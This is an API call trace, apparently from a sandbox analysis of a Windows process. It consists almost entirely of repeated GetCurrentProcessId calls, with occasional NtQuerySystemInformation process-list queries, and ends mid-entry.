[0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.317] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.318] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.319] GetCurrentProcessId () returned 0xd70 [0127.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c168) returned 0x0 [0127.830] GetCurrentProcessId () returned 0xd70 [0127.830] GetCurrentProcessId () returned 0xd70 [0127.830] GetCurrentProcessId () returned 0xd70 [0127.830] GetCurrentProcessId () returned 0xd70 [0127.830] GetCurrentProcessId () returned 0xd70 [0127.830] GetCurrentProcessId () returned 0xd70 [0127.830] GetCurrentProcessId () returned 0xd70 [0127.830] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.831] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.832] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.833] GetCurrentProcessId () returned 0xd70 [0127.834] GetCurrentProcessId () returned 0xd70 [0127.834] GetCurrentProcessId () returned 0xd70 [0127.834] GetCurrentProcessId () returned 0xd70 [0127.834] GetCurrentProcessId () returned 0xd70 [0127.834] GetCurrentProcessId () returned 0xd70 [0127.834] GetCurrentProcessId () returned 0xd70 [0127.834] GetCurrentProcessId () returned 0xd70 [0127.834] GetCurrentProcessId () returned 0xd70 [0128.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c1b8) returned 0x0 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.377] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.378] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.379] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0128.380] GetCurrentProcessId () returned 0xd70 [0129.019] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c4f8) returned 0x0 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.024] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.025] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.026] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.027] GetCurrentProcessId () returned 0xd70 [0129.028] GetCurrentProcessId () returned 0xd70 [0129.030] GetCurrentProcessId () returned 0xd70 [0129.030] GetCurrentProcessId () returned 0xd70 [0129.030] GetCurrentProcessId () returned 0xd70 [0129.030] GetCurrentProcessId () returned 0xd70 [0129.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c798) returned 0x0 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.562] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.563] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.564] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.565] GetCurrentProcessId () returned 0xd70 [0129.566] GetCurrentProcessId () returned 0xd70 [0129.566] GetCurrentProcessId () returned 0xd70 [0129.566] GetCurrentProcessId () returned 0xd70 [0129.566] GetCurrentProcessId () returned 0xd70 [0130.088] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1c458) returned 0x0 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.089] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.090] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.091] GetCurrentProcessId () returned 0xd70 [0130.097] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.098] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] GetCurrentProcessId () returned 0xd70 [0130.099] 